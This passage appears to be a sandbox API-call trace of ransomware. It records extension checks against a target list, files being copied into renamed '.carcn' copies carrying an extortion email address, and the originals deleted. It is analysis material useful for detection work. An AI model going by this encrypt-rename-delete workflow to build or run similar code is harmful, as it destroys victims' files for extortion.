lstrlenW (lpString=".pdf") returned 4 [0161.363] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0161.363] lstrlenW (lpString=".xls") returned 4 [0161.363] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0161.363] lstrlenW (lpString=".xlsx") returned 5 [0161.363] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0161.363] lstrlenW (lpString=".ppt") returned 4 [0161.363] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0161.363] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0161.363] lstrlenW (lpString=".zip") returned 4 [0161.363] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0161.363] lstrlenW (lpString=".rar") returned 4 [0161.363] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0161.363] lstrlenW (lpString=".bz2") returned 4 [0161.363] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0161.363] lstrlenW (lpString=".7z") returned 3 [0161.363] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0161.363] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0161.363] lstrlenW (lpString=".dbf") returned 4 [0161.363] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0161.363] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0161.363] lstrlenW (lpString=".1cd") returned 4 [0161.363] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0161.363] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0161.363] lstrlenW (lpString=".jpg") returned 4 [0161.364] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0161.364] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0161.364] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0161.364] lstrlenW (lpString=".doc") returned 4 [0161.364] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0161.364] lstrlenW (lpString=".docx") returned 5 [0161.364] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0161.364] lstrlenW (lpString=".pdf") returned 4 [0161.364] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0161.364] lstrlenW (lpString=".xls") returned 4 [0161.364] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0161.364] lstrlenW (lpString=".xlsx") returned 5 [0161.364] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0161.364] lstrlenW (lpString=".ppt") returned 4 [0161.364] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0161.364] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0161.364] lstrlenW (lpString=".zip") returned 4 [0161.364] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0161.364] lstrlenW (lpString=".rar") returned 4 [0161.364] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0161.364] lstrlenW (lpString=".bz2") returned 4 [0161.364] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0161.364] lstrlenW (lpString=".7z") returned 3 [0161.364] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0161.364] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0161.364] lstrlenW (lpString=".dbf") returned 4 [0161.364] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0161.364] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0161.364] lstrlenW (lpString=".1cd") returned 4 [0161.364] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0161.364] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0161.364] lstrlenW (lpString=".jpg") returned 4 [0161.364] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0161.365] lstrcmpiW (lpString1=".ico", lpString2=".carcn") returned 1 [0161.365] lstrlenW (lpString="Rotate1.ico") returned 11 [0161.365] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0161.376] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=894) returned 1 [0161.376] CloseHandle (hObject=0x34c) returned 1 [0161.376] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico")) returned 0x80 [0161.376] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.376] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0161.376] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.377] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.377] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0161.380] GetLastError () returned 0x0 [0161.380] ReadFile (in: hFile=0x34c, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x37e, lpOverlapped=0x0) returned 1 [0161.626] WriteFile (in: hFile=0x300, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x380, lpOverlapped=0x0) returned 1 [0161.627] ReadFile (in: hFile=0x34c, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.627] WriteFile (in: hFile=0x300, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0xea, lpOverlapped=0x0) returned 1 [0161.627] SetEndOfFile (hFile=0x300) returned 1 [0161.637] CloseHandle (hObject=0x300) returned 1 [0161.638] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.638] SetEndOfFile (hFile=0x34c) returned 1 [0161.638] CloseHandle (hObject=0x34c) returned 1 [0161.639] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.639] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico")) returned 1 [0161.639] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0161.639] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0161.639] lstrlenW (lpString=".doc") returned 4 [0161.639] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0161.639] lstrlenW (lpString=".docx") returned 5 [0161.639] lstrcmpiW (lpString1=".docx", lpString2="1.ico") returned -1 [0161.639] lstrlenW (lpString=".pdf") returned 4 [0161.639] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0161.639] lstrlenW (lpString=".xls") returned 4 [0161.639] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0161.639] lstrlenW (lpString=".xlsx") returned 5 [0161.639] lstrcmpiW (lpString1=".xlsx", lpString2="1.ico") returned -1 [0161.639] lstrlenW (lpString=".ppt") returned 4 [0161.639] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0161.639] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0161.639] lstrlenW (lpString=".zip") returned 4 [0161.639] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0161.639] lstrlenW (lpString=".rar") returned 4 [0161.640] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0161.640] lstrlenW (lpString=".bz2") returned 4 [0161.640] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0161.640] lstrlenW (lpString=".7z") returned 3 [0161.640] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0161.640] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0161.640] lstrlenW (lpString=".dbf") returned 4 [0161.640] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0161.640] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0161.640] lstrlenW (lpString=".1cd") returned 4 [0161.640] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0161.640] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0161.640] lstrlenW (lpString=".jpg") returned 4 [0161.640] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0161.640] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0161.640] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0161.640] lstrlenW (lpString=".doc") returned 4 [0161.640] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0161.640] lstrlenW (lpString=".docx") returned 5 [0161.640] lstrcmpiW (lpString1=".docx", lpString2="1.ico") returned -1 [0161.640] lstrlenW (lpString=".pdf") returned 4 [0161.640] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0161.640] lstrlenW (lpString=".xls") returned 4 [0161.640] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0161.640] lstrlenW (lpString=".xlsx") returned 5 [0161.640] lstrcmpiW (lpString1=".xlsx", lpString2="1.ico") returned -1 [0161.640] lstrlenW (lpString=".ppt") returned 4 [0161.640] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0161.640] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0161.640] lstrlenW (lpString=".zip") returned 4 [0161.640] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0161.641] lstrlenW (lpString=".rar") returned 4 [0161.641] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0161.641] lstrlenW (lpString=".bz2") returned 4 [0161.641] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0161.641] lstrlenW (lpString=".7z") returned 3 [0161.641] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0161.641] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0161.641] lstrlenW (lpString=".dbf") returned 4 [0161.641] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0161.641] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0161.641] lstrlenW (lpString=".1cd") returned 4 [0161.641] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0161.641] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0161.641] lstrlenW (lpString=".jpg") returned 4 [0161.641] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0161.641] lstrcmpiW (lpString1=".ico", lpString2=".carcn") returned 1 [0161.641] lstrlenW (lpString="Rotate6.ico") returned 11 [0161.641] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0161.642] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=894) returned 1 [0161.642] CloseHandle (hObject=0x34c) returned 1 [0161.642] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico")) returned 0x80 [0161.642] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.642] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0161.642] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.642] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.642] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0161.642] GetLastError () returned 0x0 [0161.642] ReadFile (in: hFile=0x34c, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x37e, lpOverlapped=0x0) returned 1 [0161.652] WriteFile (in: hFile=0x300, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x380, lpOverlapped=0x0) returned 1 [0161.653] ReadFile (in: hFile=0x34c, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.653] WriteFile (in: hFile=0x300, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0xea, lpOverlapped=0x0) returned 1 [0161.653] SetEndOfFile (hFile=0x300) returned 1 [0161.653] CloseHandle (hObject=0x300) returned 1 [0161.653] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.653] SetEndOfFile (hFile=0x34c) returned 1 [0161.654] CloseHandle (hObject=0x34c) returned 1 [0161.654] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.654] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico")) returned 1 [0161.655] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0161.655] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0161.655] lstrlenW (lpString=".doc") returned 4 [0161.655] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0161.655] lstrlenW (lpString=".docx") returned 5 [0161.655] lstrcmpiW (lpString1=".docx", lpString2="6.ico") returned -1 [0161.655] lstrlenW (lpString=".pdf") returned 4 [0161.655] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0161.655] lstrlenW (lpString=".xls") returned 4 [0161.655] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0161.655] lstrlenW (lpString=".xlsx") returned 5 [0161.655] lstrcmpiW (lpString1=".xlsx", lpString2="6.ico") returned -1 [0161.655] lstrlenW (lpString=".ppt") returned 4 [0161.655] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0161.655] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0161.655] lstrlenW (lpString=".zip") returned 4 [0161.655] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0161.655] lstrlenW (lpString=".rar") returned 4 [0161.655] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0161.655] lstrlenW (lpString=".bz2") returned 4 [0161.655] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0161.655] lstrlenW (lpString=".7z") returned 3 [0161.655] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0161.655] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0161.655] lstrlenW (lpString=".dbf") returned 4 [0161.655] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0161.655] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0161.656] lstrlenW (lpString=".1cd") returned 4 [0161.656] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0161.656] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0161.656] lstrlenW (lpString=".jpg") returned 4 [0161.656] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0161.656] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0161.656] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0161.656] lstrlenW (lpString=".doc") returned 4 [0161.656] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0161.656] lstrlenW (lpString=".docx") returned 5 [0161.656] lstrcmpiW (lpString1=".docx", lpString2="6.ico") returned -1 [0161.656] lstrlenW (lpString=".pdf") returned 4 [0161.656] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0161.656] lstrlenW (lpString=".xls") returned 4 [0161.656] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0161.656] lstrlenW (lpString=".xlsx") returned 5 [0161.656] lstrcmpiW (lpString1=".xlsx", lpString2="6.ico") returned -1 [0161.656] lstrlenW (lpString=".ppt") returned 4 [0161.656] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0161.656] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0161.656] lstrlenW (lpString=".zip") returned 4 [0161.656] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0161.656] lstrlenW (lpString=".rar") returned 4 [0161.656] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0161.656] lstrlenW (lpString=".bz2") returned 4 [0161.656] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0161.656] lstrlenW (lpString=".7z") returned 3 [0161.656] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0161.656] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0161.656] lstrlenW (lpString=".dbf") returned 4 [0161.656] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0161.657] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0161.657] lstrlenW (lpString=".1cd") returned 4 [0161.657] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0161.657] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0161.657] lstrlenW (lpString=".jpg") returned 4 [0161.657] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0161.657] lstrcmpiW (lpString1=".ico", lpString2=".carcn") returned 1 [0161.657] lstrlenW (lpString="Rotate8.ico") returned 11 [0161.657] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0161.658] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=894) returned 1 [0161.658] CloseHandle (hObject=0x34c) returned 1 [0161.658] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico")) returned 0x80 [0161.658] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.658] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0161.658] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.658] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.658] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0161.658] GetLastError () returned 0x0 [0161.658] ReadFile (in: hFile=0x34c, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x37e, lpOverlapped=0x0) returned 1 [0161.676] WriteFile (in: hFile=0x300, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x380, lpOverlapped=0x0) returned 1 [0161.677] ReadFile (in: hFile=0x34c, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.677] WriteFile (in: hFile=0x300, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0xea, lpOverlapped=0x0) returned 1 [0161.677] SetEndOfFile (hFile=0x300) returned 1 [0161.677] CloseHandle (hObject=0x300) returned 1 [0161.678] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.678] SetEndOfFile (hFile=0x34c) returned 1 [0161.679] CloseHandle (hObject=0x34c) returned 1 [0161.679] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.679] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico")) returned 1 [0161.679] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0161.679] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0161.679] lstrlenW (lpString=".doc") returned 4 [0161.679] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0161.679] lstrlenW (lpString=".docx") returned 5 [0161.679] lstrcmpiW (lpString1=".docx", lpString2="8.ico") returned -1 [0161.679] lstrlenW (lpString=".pdf") returned 4 [0161.679] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0161.679] lstrlenW (lpString=".xls") returned 4 [0161.679] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0161.679] lstrlenW (lpString=".xlsx") returned 5 [0161.679] lstrcmpiW (lpString1=".xlsx", lpString2="8.ico") returned -1 [0161.679] lstrlenW (lpString=".ppt") returned 4 [0161.680] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0161.680] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0161.680] lstrlenW (lpString=".zip") returned 4 [0161.680] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0161.680] lstrlenW (lpString=".rar") returned 4 [0161.680] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0161.680] lstrlenW (lpString=".bz2") returned 4 [0161.680] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0161.680] lstrlenW (lpString=".7z") returned 3 [0161.680] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0161.680] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0161.680] lstrlenW (lpString=".dbf") returned 4 [0161.680] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0161.680] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0161.680] lstrlenW (lpString=".1cd") returned 4 [0161.680] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0161.680] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0161.680] lstrlenW (lpString=".jpg") returned 4 [0161.680] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0161.680] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0161.680] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0161.680] lstrlenW (lpString=".doc") returned 4 [0161.680] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0161.680] lstrlenW (lpString=".docx") returned 5 [0161.680] lstrcmpiW (lpString1=".docx", lpString2="8.ico") returned -1 [0161.680] lstrlenW (lpString=".pdf") returned 4 [0161.680] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0161.680] lstrlenW (lpString=".xls") returned 4 [0161.680] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0161.680] lstrlenW (lpString=".xlsx") returned 5 [0161.680] lstrcmpiW (lpString1=".xlsx", lpString2="8.ico") returned -1 [0161.680] lstrlenW (lpString=".ppt") returned 4 [0161.680] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0161.680] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0161.681] lstrlenW (lpString=".zip") returned 4 [0161.681] 